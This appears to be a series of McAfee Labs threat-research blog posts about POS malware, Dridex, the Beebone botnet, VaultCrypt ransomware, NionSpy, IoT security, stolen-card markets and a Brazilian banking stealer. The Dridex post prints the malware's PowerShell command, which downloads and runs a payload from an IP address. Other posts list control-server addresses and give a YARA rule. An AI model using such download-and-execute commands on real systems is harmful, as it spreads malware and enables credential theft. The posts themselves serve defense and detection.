Point of sale (POS) attacks appear to have gained in popularity during the past year or so. We have seen major retail chains targeted by different strains of POS malware. Equipped with memory-scraping functionality, POS malware steals credit or debit card information from shoppers who use their cards for payments.

The following illustration shows the similarity of a recent variant we have captured against previous samples we’ve seen. The code has undergone minimal changes since its inception.

Black POS malware is one of the most prevalent POS families in the wild. Recently we noticed new variants of Black POS that exhibit no behavior when executed in a synthetic environment. This inactivity in a sandbox promptly captured our attention. This new variant of Black POS checks the system time on the infected machine against the hardcoded time stamp on the executable. (Malware has long used this technique to be active only during certain periods, while remaining dormant the rest of the time.)

This variant of Black POS was compiled with Borland C++. Next we see one sample’s main function, in which time is checked against a preset value.

Looking at the malware’s time stamp, Wed 14 Jan 2015 18:14:29 GMT, we see the malware is designed to exhibit its behavior for one month from the time it was compiled.

The key functions of this sample include memory dumping and enumerating modules loaded in process memory.

The sample also scans for credit card information in memory by employing a Perl Compatible Regular Expressions engine, as shown in the following image.

McAfee Advanced Threat Defense detects the samples involved in this attack. The sample is detected via static code analysis, the Family Classification module.

The post POS Malware Uses Time-Stamp Check to Evade Detection appeared first on McAfee.

Microsoft Office scripting malware has become more and more common and aggressive lately as malware authors constantly develop new techniques to evade detection and deceive users.

This kind of malware, as mentioned in previous posts, usually arrives as an attached document within a phishing email. After the “document” is opened, it downloads the second-stage payload, which downloads and executes the final payload that infects the host machine.

In a recent case involving the Dridex malware, McAfee Labs found the distribution method to be typical: The malware arrives via a phishing email:

We have discovered that the attached document can arrive in one of two variants:

• The first variant comes as an XML document (.XML or .DOC) containing an embedded Office object encrypted in base 64. The object is decrypted and executed when the XML file is opened.
  
  The embedded ActiveMime object contains an encrypted OLE document that is decrypted and executed just after the Office object is opened by the XML file.
  
  The OLE file then executes a malicious embedded macro that contains code similar to what we see in the following image. This code executes PowerShell and downloads the Dridex Loader.
  
• The second variant comes as a Word or Excel file (.DOC or .XLS) that contains an Office Active Object which executes the malicious code in the OLE file as native OLE code.Thus, even if the user has not enabled the execution of macros, the malware can execute by running the malicious code directly from the OLE file. To deceive the user, the malware presents a document file with an Active Object embedded. As shown in the following image, the user is warned about opening malicious Active Objects, similar to the warning displayed next whenever a user tries to open a document containing an embedded macro:
  An incautious user might open the embedded Active Object by ignoring the warning and double-clicking the object. In this case, the downloader code will run by executing a PowerShell instance, as in the previous variant.

In either case, the embedded malicious code will execute a command-line instruction that runs powershell.exe with the following parameters:

• cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile(‘hxxp:// 62.76.41.15 /asalt/assa.exe’,’%TEMP%\JIOiodfhioIH.cab’); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

The preceding code will run only if powershell.exe is installed on the system. (The malicious URL has been edited for safety.)

After executing this code, the malware downloads and executes the Dridex loader, which downloads and installs the Dridex DLL on the system.

This DLL is injected into explorer.exe by running the following command:

• rundll32.exe “C:\XX.tmp” NotifierInit

After executing this command, Dridex installs itself on the system, rundll.exe is terminated, and the host is infected. The malware then contacts its control server(s) to report the infection.

Dridex is “banker” malware that can steal user credentials for online accounts; it is derived from Cridex. Both are part of the GameOver Zeus malware family.

The following control servers were contacted by the malware during our research. We recommend blocking the following IPs:

• 91.226.93.51
• 82.151.131.129
• 62.76.41.15
• 178.32.184.7
• 193.26.217.197
• 193.26.217.221
• 176.31.28.244
• 74.208.68.243
• 121.50.43.175

McAfee products detect this malware and its payload with the following detection names:

• W97MDownloaders: W97M/Downloader.aen, W97M/Downloader.aev, W97M/Downloader.afc, X97M/Downloader
• Dridex Downloader(Loader): Downloader-FAQM, Downloader-FAQZ
• Dridex 32/64 bits: PWS-Dridex

The post ‘Banking’ Malware Dridex Arrives via Phishing Email appeared first on McAfee.

Several global law enforcement agencies—with assistance from Intel Security—this week successfully dismantled the “Beebone” botnet behind a polymorphic worm known by Intel Security as W32/Worm-AAEH. The purpose of this worm is to facilitate downloading other malware, including ZBot banking password stealers, Necurs and ZeroAccess rootkits, Cutwail spambots, fake antivirus, and ransomware. The worm spreads quickly to new machines and contains a cyclic update routine to replace itself with newer versions that increase the likelihood the worm will remain undetected by security software.

Intel Security is aware of more than 5 million unique W32/Worm-AAEH samples. In September 2014, McAfee Labs telemetry detected more than 100,000 infections on systems in 195 countries with the majority in the United States. More recently, the number of infected systems McAfee Labs detected dropped to 12,000, largely due to our products’ effectiveness in blocking these attacks.

The botnet takedown, known as Operation Source, was led by Europol’s European Cybercrime Centre (EC3) and the Joint Cybercrime Action Taskforce (J-CAT). Most EU member states and law enforcement partners around the world coordinated in the action. The Dutch High Tech Crime Unit led the J-CAT effort. The U.S. Federal Bureau of Investigation provided valuable support.

The J-CAT is an effective multilateral platform established to fight cybercrime. The J-CAT works together on an operational level with public and private entities and academia to identify and mitigate the biggest cyber threats around the world and apprehend the persons responsible for them.

Intel Security, along with Kaspersky Lab and Shadowserver, also provided assistance for this takedown. Shadowserver brought technical investigative skills and a rich set of information about the worm and its supporting botnet. More about the worm and botnet can be found in the McAfee Labs report Catch Me If You Can: Antics of a Polymorphic Botnet.

Dismantling the botnet’s communications infrastructure is only part of the response. Infected system remediation is equally important. Evasive steps taken by the botnet made this particularly difficult. The botnet not only changes the worm’s fingerprint many times every day, but it also actively blocks connections to security vendor websites (including mcafee.com). This is illustrated in the following image:

Because W32/Worm-AAEH blocks connections to security software providers, those infected may have difficulty following links to download removal tools. To overcome that hurdle, the team at Shadowserver, whose support was critical to this operation, has made a webpage available from which these tools can be directly downloaded. McAfee customers can find a removal tool at http://www.mcafee.com/us/downloads/free-tools/stinger.aspx.

At Intel Security, we believe in public-private partnerships. This operation is further evidence that only a combined response is capable of slowing down the ever-growing menace of cybercrime.

The post Takedown Stops Polymorphic Botnet appeared first on McAfee.

Since the beginning of the year we have seen a spike in ransomware including the emergence of new ransomware families. One family that has recently resurfaced is Vaultcrypt. This variant both tidies up after itself and steals web page login data.

Infection vector

The malware arrives on a victim’s machine through a spam email containing an attachment, as shown in this Russian example:

The attachment is a zip file containing a malicious JavaScript file. The script file may look like this:

The JavaScript contains strings such as “checked and scanned by Avast antivirus” to reassure users and appear legitimate. When a user executes the JavaScript file, it downloads a malicious .bat file along with some other files stored in %temp%. After successfully downloading the files, the JavaScript executes the batch file, which renames the downloaded files as shown:

The malware installs the tool GnuPG (GNU Private Guard), an open-source encryption utility. GnuPG generates an RSA-1024 public and private key pair to encrypt files with the following extensions:

• .cd
• .mdb
• .1cd
• .dbf
• .sqlite
• .jpg
• .zip
• .7z
• .psd
• .dwg
• .cdr
• .pdf
• .rtf
• .xls
• .doc

This following screen shows the commands:

The malware does not encrypt files in the following folders:

• windows
• temp
• recycle
• program
• appdata
• avatar
• roaming
• msoffice
• intel

This screen illustrates:

After successfully encrypting the files, the malware drops a .txt file onto the user’s desktop. The .txt file contains instructions, in Russian, on how to pay the ransom and decrypt the files.

The malware also executes an HTML application (.hta) containing the instructions for the user to pay the ransom:

After completing the encryption process, the malware deletes itself and all other files that were used for encryption with the Microsoft Sysinternals tool SDelete, which overwrites the deleted files or cleans the free space on a logical disk, thus making it difficult to recover those files. The following image illustrates this:

As we see in the preceding image, the malware uses the switch “–p 16,” which causes 16 overwrite passes. With these repeated overwrites, it is nearly impossible to recover those deleted files using recovery tools. The following image shows the files the tool deletes.

Meanwhile, the malware downloads the Browser Password Dump tool, from SecurityXploded, from its control server. This tool extracts the victim’s stored login credentials from most web browsers. The malware uploads the stolen user credentials to its control server.

Here’s a look at the traffic:

Intel Security products detect the batch file as BAT/CrypVault and the JavaScript file as JS/CrypVaultDown with DAT Version 7765 and later.

The post VaultCrypt Ransomware Hides Its Traces While Stealing Web Credentials appeared first on McAfee.

Today, Verizon released its 2015 Data Breach Investigations Report (DBIR).

As Verizon noted in the Appendix D discussion of the security of the Internet of Things (with significant contributions from Intel Security), most of the examples of IoT device-originated breaches have been proofs of concept—so there were few incidents and little data disclosure to report for 2014. As a result, there is no Verizon “common incident pattern” for IoT device breaches—yet.

But for those who work in incident response and information security, we know it is simply a matter of time until a large-scale IoT device-originated breach occurs with broad-based ramifications.

The IoT device security challenge

IoT devices pose a particular challenge that is not typical in new technology markets. IoT devices are by definition connected to one type of network or another, so they are windows into that network, which leads to the obvious question: Are the windows open or closed?

Further, many IoT devices sense and send information—from personal to critical infrastructure to military—that in the wrong hands poses a significant security risk.

Today and in the days ahead, we will explore why IoT devices are exposed, IoT device attack surfaces, what types of IoT device-originated breaches we expect to see in the intermediate term, and things businesses can do to prepare for the onslaught of IoT devices in their trusted networks.

What are the forces that expose IoT devices?

Emerging market that is not well-understood

Today, a person with a good idea can purchase a $20 microcontroller, download sample code into a beginner-friendly development environment, and create a working prototype of an IoT device that can be put on sale on popular crowd-funding sites. The code may never be inspected and the hardware may never be security tested, but these devices could end up on networks in early adopter homes and business.

The low cost and accessibility of these IoT device building blocks by individuals without formal software development experience have led to a proliferation of neat but unsecure devices. Further, there is little understanding of the implications of that insecurity.

IoT device cost pressure

When developing IoT devices that are meant to be purchased by the millions, cost is particularly important. Every additional bit of main memory or flash storage adds cost. Additional processing power adds cost. Software to protect the device adds cost. As a result, IoT device developers look to create devices that deliver the minimum required functionality at the lowest possible cost.

Many IoT devices have simple tasks: reading a sensor value, flipping a relay on or off to activate another circuit, or exchanging information with a gateway or application controlling the device. Because these tasks are often simple and cost is so critical, these devices are generally developed to run lightweight operating systems and applications on inexpensive 8-bit microcontrollers that are limited in capacity and processing power.

But how does a developer include SSL encryption on an 8-bit microcontroller that is simply turning lights on and off? Does it even need encryption? How can a million such devices be cost-effectively updated for security reasons when there is so little capacity on the embedded ROM that physical access to the device is required to perform the update?

Although questions like these may not concern an IoT developer trying to get a product out the door, these questions become critical if the device is used to control all of the LED streetlights in a city or used in a water treatment plant to turn pumps on and off after reading sensor values from a different IoT endpoint.

IoT device time-to-market pressure

When a budding entrepreneur or a large enterprise detects an IoT market opportunity, a basic question they must answer is “How fast can we get to market?”

In the IoT space, a rich environment of sample code, tutorials, and libraries can accelerate time to market. Although there is good guidance for securing TCP/IP networks, there is little security guidance for the proliferation of network protocols used by many new IoT devices. For example, mesh networks like ZigBee, ZWave, RF, iBeacon, and Bluetooth LE are being bridged (connected, multihomed) to current TCP/IP networks by these IoT devices directly or through a gateway, thereby opening a window to attackers.

Furthermore, the IoT developers primary focus, especially in the early market phase, is to deliver the IoT device’s basic functionality. Security of that new device is secondary. And when they do get around to addressing security issues in a meaningful way, many developers have limited understanding of secure coding practices, especially for this new industry.

Need for IoT device simplicity

There is an overwhelming need in both consumer and business environments to build IoT devices that are simple to operate and maintain and can live in perpetuity, gathering information and sending it to other systems in the network.

To reduce or eliminate maintenance, many IoT devices are designed to not allow software or firmware updates. Yet they are network-capable devices communicating on the same subnets as other sensitive information. Network-capable devices that cannot be updated but proliferate exponentially on networks eventually become open windows for the bad guys to exploit.

Focus on functionality, not security

When discussing the virtues of an IoT device, salespeople inevitably focus on its key benefits:

• “What can it control?”
• “Is it easy to set up?”
• “Can I access it when I am not at home?”
• “Does it work on my smartphone?”
• “How does it make my life simpler?”

Seldom do we hear “Is it secure?”—even when the IoT device is meant to control home security!

With the current focus of IoT devices, especially in the consumer market, on emphasizing ease of use and automation to drive demand, security questions seldom arise. Security is assumed—usually incorrectly—to be provided.

Stay tuned for a discussion of IoT device attack surfaces. Meanwhile, you can learn more here about Intel’s approach to IoT devices and their security.

The post Verizon Report Foreshadows Breaches Originating With IoT Devices appeared first on McAfee.

W32/NionSpy is a family of malware that steals information from infected machines and replicates to new machines over networks and removable thumb drives. Aside from stealing keystrokes, passwords, Bitcoins, system information, and files on disk, NionSpy (also known as Mewsei and MewsSpy) can record video (using the webcam), audio (using the microphone), take screenshots, and use infected machines as a proxy tunnel to connect to other machines within the network.

NionSpy is a prepender virus: It prefixes its malicious binary onto current executable files on a machine—as opposed to other data-stealing Trojans, which store all their functions in a single file. Viruses must ensure that they restore the original file prior to its execution to increase the likelihood that the original binary executes correctly.

Most viruses decrypt the original binary just before execution. NionSpy, on the other hand, stores its decryption code in a separate DLL outside the stub to make file recovery difficult.

The malware achieves this by storing an encrypted copy of the DLL within every file it infects. Once an infected file executes, it registers itself to open all executable and shortcut files as a parameter to its /START command-line argument as shown:

%APPDATA%\{random folder name}\{malware executable}.exe [/RUNAS] /START “%1″ %*

When the malware executable runs with an executable file as the /START parameter, it decrypts and loads the embedded DLL located within itself, opens the executable passed as the argument, and checks whether it is infected by finding its infection marker, “aCfG92KX27EhW6CqpcSo4Y94BnUrFmnNkP5EnT.” If the marker is not found, the executable runs as is. However, if the marker is found, the original file is decrypted by calling the “NP8IGN” function exported by the decrypted DLL, stored temporarily in the %TEMP% folder with a random name, and then executes.

NionSpy’s file execution.

The location of the encrypted DLL and the hijacked file are obfuscated by an XOR/NEG operation, which when decrypted contains the location of the data, its size, and a seed value.

The seed is fed to Microsoft’s C implementation of rand()—a pseudo random number generator.

The virus also stores 4 to 7 bytes of information about its origin. If the file is created by infecting an executable file on disk, the term repl (for replication) is encrypted. If the file consists of just the dropper for the file infector, the term {random letter}.ode is encrypted and stored.

The sample contains a bit fewer than 700 strings encrypted in the same fashion based on rand(). The seed, length, and location of the string are stored in a special table accessed by the main string decryption routine. The strings are common for both the infector stub and the embedded DLL. However, not all strings in the table are used in the malware source code. Some strings, for example, seem to be intentionally left for researchers to discover.

The decrypted strings provide a wealth of information about the capabilities of the virus and even include an internal version number that is transmitted to the control server with every request.

The sample actively looks for installed firewall software and intentionally delays and limits its network communication if it finds a product from its blacklist.

One uncommon aspect to NionSpy is its inclusion of almost 200 MD5 hashes in the encrypted string table. When a command is sent by the virus’ control server, its MD5 hash is calculated and compared against the hashes in the malware table to decide which operation to perform. We suspect this decision was made to increase the effort required to statically analyze the sample. The following screen shows some of the MD5s along with their original strings:

We know of seven versions of the latest W32/NionSpy variant:

Older variants of NionSpy are very primitive compared with the latest strain. Most strings are stored unencrypted, while about 40 to 50 strings are obfuscated using a 1-byte XOR key. The malware code appears to be more or less constant across versions with each change including small fixes for bugs and typos as well as the addition of a few enhancements (such as the ability to record audio for a variable amount of time in Version 7.6, instead of a constant 30 seconds in older versions). Some versions are compiled with different compilers to generate different binaries but are functionally identical.

Four versions of the older NionSpy variant are present in the wild.

Because older NionSpy variants do not use MD5 hashes to check for control server commands, all commands are visible in their binaries:

NionSpy contacts the following control servers:

• 109.195.54.18:7978
• 176.31.246.49:14141
• 178.62.233.140:50000
• 37.139.15.65:14088
• 46.32.233.54:53535
• 62.75.179.223:11111
• 62.75.179.223:19093
• 72.167.201.238:11080
• 78.46.36.35:33533
• 85.214.252.4:9000
• ftspbz.net46.net
• nwoccs.zapto.org
• z3mm6cupmtw5b2xx.onion

McAfee customers are already protected by the following detections:

• W32/NionSpy
• W32/NionSpy!dr
• W32/NionSpy.b!dr
• W32/NionSpy.c!dr
• W32/NionSpy!dam
• And other generic signatures

YARA Signature
rule NionSpy
{

meta:

description = “Triggers on old and new variants of W32/NionSpy file infector”

strings:

$variant2015_infmarker = “aCfG92KXpcSo4Y94BnUrFmnNk27EhW6CqP5EnT”
$variant2013_infmarker = “ad6af8bd5835d19cc7fdc4c62fdf02a1″
$variant2013_string = “%s?cstorage=shell&comp=%s”

condition:

uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 1 of ($variant*)

}

The post Taking a Close Look at Data-Stealing NionSpy File Infector appeared first on McAfee.

On April 8, the takedown operation for the polymorphic botnet known as Beebone successfully concluded. This action redirected traffic from infected hosts to a sinkhole operated by the Shadowserver Foundation. In addition to halting additional infections and the continued morphing of the W32/Worm-AAEH worm, the sinkhole allows McAfee Labs and other partners in the takedown to better understand the scope and complexity of the Beebone operation. We now have a more accurate count of infected hosts, we have identified additional indicators of compromise, and we have greater visibility into the botnet’s geographic reach.

Obfuscation capabilities

The sinkhole has revealed multiple obfuscation techniques. One mechanism is the botnet’s polymorphic nature, which guarantees unique samples for every download request. The actors behind Beebone went the extra mile by replacing the base worm sample multiple times per day. For example, from March to July 2014, the Beebone control server served at least one new sample every day (we conclude with 93.6% confidence) with up to four variant changes per day.

The worm switched from its custom crypter to the underground “29A Loader” crypter on July 21, 2014, losing all of its server-side polymorphism capabilities. To make up for the lost variety of distributed samples, the attackers replaced an average of eight variants per day, with 35 variant replacements on the same day the packer changed.

Although the samples were functionally similar across variants, the top-level crypter was consistently modified to change its final binary code. Some of the changes are listed below.

Third-party open-source software

Some of these samples included the entire “Wizard-TemplateXP” UI library, originally located at http://en.pudn.com/downloads27/sourcecode/windows/control/detail85571_en.html. We can verify this by comparing strings from the UI library source code to the W32/Worm-AAEH binaries. (See following images.)

These samples include:

• b6e232d8ac1841fa87ebbd15bebec1ce
• c880bd52cfaf3206f95eb49b5d51f1c657b7aa82
• 15fc526edc6a5c665accfae06f8609c5cc93ac30
• 449c870a9d5012a1cb6279638291de51e551490d)

Change in encryption keys.

Another obfuscation technique is the use of the RC4 encryption algorithm to generate encrypted strings (prior to December 2013) and binaries (after December 2013). For any given base W32/Worm-AAEH crypter stub (which the polymorphic engine uses to mutate and generate other samples), the RC4 key is composed of the original project name concatenated with a hardcoded number treated as a string. Although the polymorphic engine randomizes the project name on each mutation, it keeps the hardcoded number intact, allowing us to identify base variants generated by the polymorphic engine. However, some samples introduce an additional round of RC4 encryption with a one-character string, starting from “0” and stopping at “9” before moving to a new obfuscation technique.

Change in fields needed for decryption
On December 12, 2013, dependence on the project name was removed entirely. After that date, samples could use any string present in the sample as the RC4 key to decrypt the final payload. The intent of this change was likely to make static detection by antimalware scanners more difficult. This approach was used until March 31, 2014. After that day, the crypter began to use position-independent code (for example, 6620235fced076d1d7ce9b1c7c58967b) to partially implement its unpacking functionality. An additional layer of obfuscation was added on April 14, 2014, when the data type of variables storing the location of encrypted data changed from an integer to a “currency” type, which is native to the Visual Basic 6 language. Although this was a simple change in the crypter source code, its effect on final binaries is immense. Instead of having the location appear directly in a binary as a 32-bit value, with a currency type it appears as the original value multiplied by 10,000. However, each sample unevenly splits the number into two separate numbers, requiring addition or subtraction (followed by a division by 10,000) to retrieve the location of the encrypted data (for example, b1121d10573440735f0db22b85a4a634). Although antimalware scanners can still detect these samples, it is more difficult.

Control server architecture
The control servers behind W32/Worm-AAEH used a MariaDB database (a MySQL alternative) along with the Webmin web-based database administration tool (an alternative for phpMyAdmin) to store and maintain data stolen from infected systems. It is likely that they remotely controlled their servers using the Secure Shell (SSH) tool.

The Webmin interface for a control server used in August 2014.

The domains for the control servers were prefixed with “ns1.” to masquerade as DNS name servers. To make the deception appear authentic, the port used for DNS queries (53) was left open even though no name resolution took place.

The attackers changed the control server names more than five times a month on average, as shown in the table below.

These actions illustrate some of the mechanisms used to obfuscate the infection. As a result, we underestimated the scale of the Beebone botnet. Overnight reports from the Shadowserver team show that the scale of the botnet is about three times greater than earlier estimates.

Although this data shows about 34,000 unique IP addresses per day, it does not mean that there are 34,000 infected computers, as some people may connect for research purposes and other systems may be turned off. We hope to see the number of unique connections to the sinkhole decline as remediation begins to take effect.

We would like to thank and recognize F-Secure, Trend Micro, and Symantec for also developing removal tools for W32/Worm-AAEH.

I am indebted to my colleague Sanchit Karve for his assistance with this post. Sanchit (@s_karve) and Raj (@Raj_samani) can also be found on Twitter.

The post Update on the Beebone Botnet Takedown appeared first on McAfee.

On April 14, Verizon released its 2015 Data Breach Investigations Report (DBIR). Also that day, McAfee Labs posted a blog expanding on the DBIR’s Appendix D discussion of the security of the Internet of Things, exploring the market conditions that have led to security weaknesses in IoT devices.

Today, we highlight the many IoT device attack surfaces. In the days ahead we will also explore the types of IoT device-originated breaches we expect to see in the intermediate term and steps businesses can take to prepare for the onslaught of IoT devices in their trusted networks.

What are the IoT device attack surfaces?

The “Open Web Application Security Project (OWASP) Internet of Things Top 10″ provides a good list of IoT device attack surfaces and their specific weaknesses:

• Insecure web interface
• Insufficient authentication or authorization
• Insecure network services
• Lack of transport encryption
• Insecure cloud interface
• Insecure mobile interface
• Insufficient security configurability
• Insecure software/firmware
• Poor physical security

The list identifies obvious themes, including items that do not reach the bar of currently understood security norms (insufficient items) and those that seem to make no attempt to meet industry expectations (insecure items). The list reveals challenges incumbent to low power, small-capacity IoT devices.

The Top 10 also includes foundational areas that must be addressed not just by IoT device developers but also by device manufacturers and development environment creators. If transport layer encryption doesn’t exist in current network libraries for these devices, how can developers be expected to identify this or know how to remedy the problems?

The OWASP list highlights technical issues we would anticipate among newly networked devices. These issues include the lack of transport encryption, authentication, and authorization–as well as insecure interfaces to web, network, and mobile.

There are a few more attack surfaces that we consider significant. In the networking area, they include:

• Consequence of bridging network protocols: Many IoT devices bridge network protocols by linking wired or wireless Ethernet networks to other networks using protocols such as Bluetooth LE, ZigBee, or ZWave. If one network isn’t sufficiently secure, IOT devices could act as windows from the insecure network to the wider network infrastructure.
• Known exploits by RF-connected devices: Law enforcement agencies in multiple countries are examining remote compromises of automotive key fobs by radio frequency–connected devices. If RF is broadly integrated into IoT devices, we should anticipate continued exploit attempts against RF devices.
• NFC vulnerabilities: Near-field communication readers are easily and often integrated into IoT devices for access control and sensor activation. However, NFC card readers and writers can be purchased for just US$25 to duplicate NFC tokens, which make IoT devices with integrated NFC readers less secure.

In an effort to provide lightweight, low-power capability to these new platforms, the providers of IoT building blocks are spinning smaller operating distributions built on current operating systems. When a reduced version of Android is created to fit onto the new devices, are security features left out that could help secure them? Are older, vulnerable versions of the operating system in use for which Android exploits are readily available?

Physical device access is another important IoT device attack surface. In August 2014, Intel Security demonstrated the ability to copy or wipe the Arduino platform through physical access to the device using the onboard programming ports. If an IoT device can be rebooted or reset through physical device access and leave no evidence of the action, it will be difficult or impossible for security professionals to understand what happened.

Stay tuned for our predictions of the IoT device-originated breaches we expect to see in the intermediate term. Meanwhile, you can learn more about Intel’s approach to IoT devices and their security.

This post was written with the invaluable assistance of Steve Watson of Intel.

The post Verizon Report Foreshadows Breaches Originating With IoT Devices, Part 2 appeared first on McAfee.

This post was written with the invaluable assistance of Steve Watson of Intel.

On April 14, Verizon released its 2015 Data Breach Investigations Report (DBIR). Also that day, McAfee Labs posted a blog expanding on the DBIR’s Appendix D discussion of the security of the Internet of Things, exploring the market conditions that have led to security weaknesses in IoT devices. On April 20, we posted another blog highlighting the many IoT device attack surfaces.

Today, we predict the types of breaches originating from IoT devices we expect to see in the intermediate term. Later this week, we will outline things businesses can do to prepare for the onslaught of IoT devices in their trusted networks.

What types of breaches in IoT devices can we expect in the intermediate term?

Breaches to industrial control systems

Because of their added flexibility, and ease of development and cost, many IoT device developers see an opportunity to replace aging SCADA infrastructures. Yet with the current security weaknesses that exist in many IoT devices, it’s likely that we will replace problems endemic to SCADA systems with another set of problems. By replacing control and automation capabilities with new, Internet-connected IoT devices, we may increase the risk by configuring devices on the public Internet.

Breaches to critical infrastructure systems

In November 2014, reports surfaced of 73,000 unsecured security cameras connected directly to the public Internet. The default passwords allowed unrestricted access to live video feeds in homes, warehouses, malls, and parking lots. Reports included examples of government sites with these same unsecured security cameras.

In May 2014, the U.S. Department of Homeland Security confirmed the first U.S. Public Utility Control Systems were hacked. In one instance, a weak password on an Internet-connected host allowed access to the network. In another example, a cellular modem was used to connect directly into the control system server of a utility. The first attack matches the webcam example we just mentioned while the second example matches active research (more on that in a moment) against vehicle control systems. The same lack of security is repeated on numerous end-node types.

Attacks on wearable devices lead to personal information breaches

Many consumer wearables use Bluetooth Low Energy (BLE) to communicate with their connected devices. These wearables continually broadcast their unique BLE identifiers even when they are not within range of connected devices. Although users may be judicious and lock down the information their phones communicate about them, a BLE-enabled wearable can easily be used to track an individual’s location. Most of these devices offer no way to disable this functionality nor prevent the reading of the unique identifier from the device.

We expect increased privacy-related research and exploits related to the identification of users based on the wearable and medical IoT devices that accompany individuals as they move about.

Breaches to vehicle systems

In January, multiple media outlets reported the widespread theft of luxury SUVs in London. The thefts were accomplished by replicating the RF wireless token from key fobs to unlock and start the vehicles without a key or damage to the vehicle.

A German researcher released information in February about security vulnerabilities related to a European auto manufacturer’s connected car capabilities. By simulating a GSM network near the car, the researcher was able to remotely unlock and lock the vehicles with an OEM connected car capability—even without a subscription to the cars’ remote services. Current security research has also demonstrated the ability to affect core vehicle functionality such as brakes, acceleration, and engine power.

In both of these examples, the breaches did not come through a traditional Ethernet or WiFi connection but instead through an RF network in the first case and an emulated GSM network in the second case.

IoT device breaches that extend into the network

In the near future, we expect to see examples of the next stage of compromise, which reaches beyond the IoT devices to other devices on the network. From reduced-footprint Linux and Android operating systems, minimized to ensure they fit on small IoT devices, to new IoT operating systems including mbed OS, Riot, Contiki, and Tizen, hackers will look to establish a beachhead onto networks through IoT end nodes.

New tools to detect and exploit weaknesses in IoT device security

Search engines such as Shodan can quickly identify insecure and misconfigured Internet-connected devices. In one example, 250,000 routers in Spain and other countries using duplication SSH keys (February) were discovered using this search engine. We expect tools that can identify insecure embedded, IoT, and Internet-connected devices to soon be available in the dark market.

Stay tuned for guidance around things businesses can do to prepare for the onslaught of IoT devices in their trusted networks. Meanwhile, you can learn more about Intel’s approach to IoT devices and their security.

The post Verizon Report Foreshadows Breaches Originating With IoT Devices, Part 3 appeared first on McAfee.

We have seen an increasing amount of articles published about the “Dark Web,” underground cybercriminal sites that are hosted on hidden servers and can be accessed only by using Tor.

One example of a Dark Web site hosted on one of these “.onion” domains was the Silk Road, a site infamous for the buying and selling of drugs, among other products and services. That site was taken down by law enforcement, and the owner was arrested.

During a recent investigation Intel Security discovered a site offering fresh dumps of stolen credit card numbers. This is nothing new, of course; these sites are available everywhere on the (visible) Internet. In this case, after we registered and were validated as a new “customer,” we saw this menu:

Several options are available. We looked first at the Sale page, where the shop offers Bitcoin discounts on credit cards that are valid for only two weeks. If we buy now, we’ll get BTC 0.9 off.

So much for “bargain shopping.” Let’s look into buying a few credit cards. The site exposes the amount of fresh dumps they have and how widespread they are, as we see in the following small selection:

Selecting the “New big base USA” option from March 2015, we find the following selection criteria:

Let’s see which cards we can buy around the Intel Security office I work in. A few seconds later, the site displays a list of credit cards that can be purchased from people who live in Beaverton, Oregon:

As an extra service, the Russian owner(s) of the website offer—for the modest fee of US$300—the option to use a private botnet to attack your competitors with a distributed denial of service. That’s a nice offer: What we could have saved on our “purchase,” we could now use to boost our business a little bit more.

Of course, we did not actually buy any credit card numbers. But the amount of fresh credit cards this service offers in the United States and rest of the world is huge. The ease of buying and paying is astonishing, all with a few anonymous mouse clicks.

Although financial institutions take antifraud measures, your credit card details could have been stolen by a breach of an online business, point-of-sale terminal malware, or a number of other ways. To defend yourselves, simply checking your monthly statements is the best way to verify your purchases for irregularities.

The post Stolen Credit Card Numbers Easy to Buy Online appeared first on McAfee.

Spam is a plague that has given headaches to system administrators and users for years. A lot of spam tries to sell “performance enhancement” medicine or lure us to suspicious websites.

But one of the main uses of spam, which appears to be making a comeback, is the distribution of malware through email attachments. This technique never went away, but lately at Intel Security we have noticed an increase in the number of malware families using this distribution method–compared to methods such as compromised websites and web exploit kits.

The following graph shows our telemetry for malware distributed by email. We can see many spikes, which represent spam campaigns distributing specific families. The most prevalent families are usually downloaders, password stealers, and ransomware, including Ransom-CTB or TeslaCrypt.

Telemetry for spam with attached malware. Numbers indicate volume of queries per day through the McAfee Global Threat Intelligence service.

While analyzing samples from recent spam campaigns, a low-volume but interesting malware came to light. This malware is a password stealer and downloader written in VB.Net that targets users in Brazil.

The main difference about this downloader is that the final payload is not present in a URL as with other common downloaders. In this case, the malware stores the full payload binary inside a Microsoft SQL database, making it more difficult for system administrators to find the malware’s source.

Once executed on the user machine, the downloader will connect to the compromised database server, query the right table, and grab the full payload from the query response.

VB.Net code showing a SQL connection.

In the preceding image we can see the connection being created. The connection string used in this case is encrypted, but there are samples that come with the connection string in clear text.

VB.Net code showing the SQL query to download the payload.

In the image above we can see the SQL command–New SqlCommand()–being executed followed by the code that saves the result to a file. In this case, the file is saved to the %TEMP% folder with a name that is decrypted at runtime.

The query executed:

• SELECT img FROM dbo.novosload WHERE id = ‘hone’

The malware then installs the downloaded sample in the Run registry key to restart after reboot, and stays in memory.

Our analysis also show that this malware looks to be modular. There are samples that contain only the downloader component and stay in memory doing nothing after the payload is downloaded, as well as samples that contain a password stealer component.

The password stealer can do the following:

• Steal browser credentials: Facebook, email services, or anything that has a password field.
• Disable the G-Buster GbPlugin: This is widely used in Brazil to protect users during Internet banking sessions.
• Capture screenshots during Internet banking sessions.
• Collect bank credential data: username, passwords, digital tokens, password cards.

These features can be added independently, with samples containing only the browser capture module while others contain all the functions to capture banking information.

All the information collected by the malware is also stored in the database. The following images show the common database structure found in some of the servers along with the fields found in the tables:

Examples of the database structure used by the malware.

Above we can see the tables storing the binary payloads (dbo.arq) as well as the stolen information. And below we can see one of the tables storing information about the infected machine, including computer name, Windows version, time of infection, Internet Explorer version, and the versions of the G-Buster plug-ins that are installed on the machine.

Structure of table storing information about infected computers.

Each bank has its own version of G-Buster plug-in, so the attacker knows which banks the victim normally uses.

The following table stores the information gathered during banking session:

Table storing information about stolen Internet banking sessions.

In this table the malware stores the screenshots taken from users accessing their accounts, “X,Y” coordinates of mouse clicks (used for virtual keyboards), typed passwords and usernames, information about the machine, and information about what actions the malware was able to perform during the banking session–such as capturing token IDs and data from the password matrix cards.

Other important information in the database relates to the actors behind this malware campaign. The table in the database that stores the binary payload also identified the user of each payload.

Table storing the binary payloads associated with each user.

In the preceding shot we can see the table storing the binary payloads (executable files) and each is identified by a nickname. These nicknames are the same in almost 100% of the samples found for this malware. They are also used as part of the password to access the databases.

From this information and our analysis of the samples we found, we can conclude that these six nicknames are part of the group behind the development or distribution of this malware.

